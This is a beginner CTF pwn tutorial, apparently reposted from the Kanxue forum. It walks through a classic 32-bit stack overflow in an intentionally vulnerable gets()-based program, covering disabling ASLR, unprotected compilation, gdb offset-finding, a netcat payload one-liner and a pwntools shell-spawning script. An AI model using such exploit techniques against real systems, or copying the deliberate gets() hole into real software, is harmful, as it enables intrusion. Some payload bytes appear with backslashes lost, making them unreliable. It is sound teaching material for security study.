本文为看雪论优秀文章
看雪论坛作者ID:dxbaicai
一、教程说明
从0开始CTF-PWN(一)——基础环境准备
二、环境设置及编译说明
2.1 环境设置
# 注意,下面是临时修改方案,系统重启后会被重置为2
echo 0 > /proc/sys/kernel/randomize_va_space
2.2 编译源文件
gcc-4.8 -g -m32 -O0 -fno-stack-protector -z execstack -o [可执行文件名] [源文件名]
-
-m32:使用32位编译
-
-O0:关闭所有优化
-
-g:在可执行文件中加入源码信息
-
-fno-stack-protector:关闭栈保护
-
-z execstack:启用栈上代码可执行
三、栈溢出HelloWorld
3.1 bof程序
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
gcc-4.8 -g -m32 -O0 -fno-stack-protector -z execstack -o bof_32-gcc4.8 bof.c
3.2 寄存器与栈结构
-
esp 用来存储函数调用栈的栈顶地址,在压栈和退栈时发生变化。
-
ebp 用来存储当前函数状态的基地址,在函数运行时不变,可以用来索引确定函数参数或局部变量的位置。
-
eip 用来存储即将执行的程序指令的地址,cpu 依照 eip 的存储内容读取指令并执行,eip 随之指向相邻的下一条指令,如此反复,程序就得以连续执行指令。
典型的函数调用栈结构如下:
# 说明
1. 随着函数执行,地址从高地址向低地址增长。
2. esp寄存器指向栈顶。
3. 按先进后出原则,调用函数(caller)先入栈,被调用函数(callee)后入栈。
3.3 通过调试程序观察栈结构变化
gdb -q bof_32-gcc4.8
# 调试的一开始输入(gdb8.0以上版本必须加,否则会导致断点设置失败)
(gdb) starti
# 查看main函数
(gdb) disassemble main
# 查看func函数
(gdb) disassemble func
# 下断点
(gdb) b *0x080491ef
# 运行
(gdb) r
(gdb) stack
(gdb) stepi
# 检查开启了哪些保护
(gdb) checksec
输出:
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
# 对进程调试
gdb attach [pid]
# 调试的一开始输入(gdb8.0以上版本必须加,否则会导致断点设置失败)
starti
# 查看main函数
(gdb) disassemble main
# 命令将函数代码和汇编指令映射起来
disassemble /m func
# 增加断点
(gdb) b *[address]
# 运行
(gdb) r
# 查看esp内容(以16进制查看$esp地址处2个单位的内容,每个单位4个字节)
(gdb) x/2wx $esp
# 显示寄存器指向的地址
p $寄存器:显示寄存器指向的地址
# 显示寄存器内容
用x命令可以显示内容,“x/格式 地址”。
x $pc:显示程序指针内容
x/i $pc:显示程序指针汇编。
x/10i $pc:显示程序指针之后10条指令。
# 继续执行
(gdb) c
# 单步调试
(gdb) stepi
或 单步过
(gdb) ni
或 单步入
(gdb) si
# 显示当前所有寄存器的值
(gdb) i r
# 设置自动显示接下来的要执行的3条指令
(gdb) display /3i $eip
# 查询进程信息(一般运行一遍后会加载出libc)
(gdb) info proc mappings / (gdb) info proc map
——可以用于查找libc信息
# 从libc中查找关键字
(gdb) find "/bin/sh"
3.4 攻击思路
-
找出参数key所在的地址。
-
找出func函数局部变量overflowme开始填充的地址。
-
计算2者的差值,填充差值长度的padding,并在随后填入用于比较的值0xcafebabe。
在main函数的call func处下断点,执行,查看栈内容,此时栈顶地址0xffffd610即为argv1,也就是key参数。这个之前已有描述。
(gdb) b *0x080491ef
# 执行
(gdb) r
我们可以利用填充特殊字符,找出从哪个地址开始填写的,例如输入60个A。在func函数的gets调用的下一步下断点(此时已经完成了特殊字符填充,方便我们找到从哪个地址开始)。
(gdb) b *0x080491ba
# 继续执行
(gdb) c
(gdb) p/d 0xffffd610 - 0xffffd5e0
# 显示
$1 = 48
(python -c 'print "a"*48 + "xbexbaxfexca"'; cat -) | ./bof_32-gcc4.8
nohup socat tcp4-listen:5555,reuseaddr,fork exec:/home/pwn/test/bof_32-gcc4.8
(python -c 'print "a"*48+"xbexbaxfexca"'; cat -)|nc 10.211.55.6 5555
3.5 特别说明
3.6 pwntools实现
# coding:utf-8
from pwn import *
# 小端序转换函数
def p32_trans_iso_8859_1(value):
result = p32(value).decode('iso-8859-1')
return result
# 设置运行环境
context(arch='amd64', os='linux')
# process为本地程序,remote为远程调用
c = process("./bof_32-gcc4.8")
payload = 'A'*48 + p32_trans_iso_8859_1(0xcafebabe)
#print payload
# 向程序发送数据
c.sendline(payload)
# 获得shell
c.interactive()
4. 总结
看雪ID:dxbaicai
https://bbs.pediy.com/user-home-868728.htm
*本文由看雪论坛 dxbaicai 原创,转载请注明来自看雪社区。
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!
本文始发于微信公众号(看雪学院):从0开始CTF-PWN(二)从PWN的HelloWorld-栈溢出开始
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论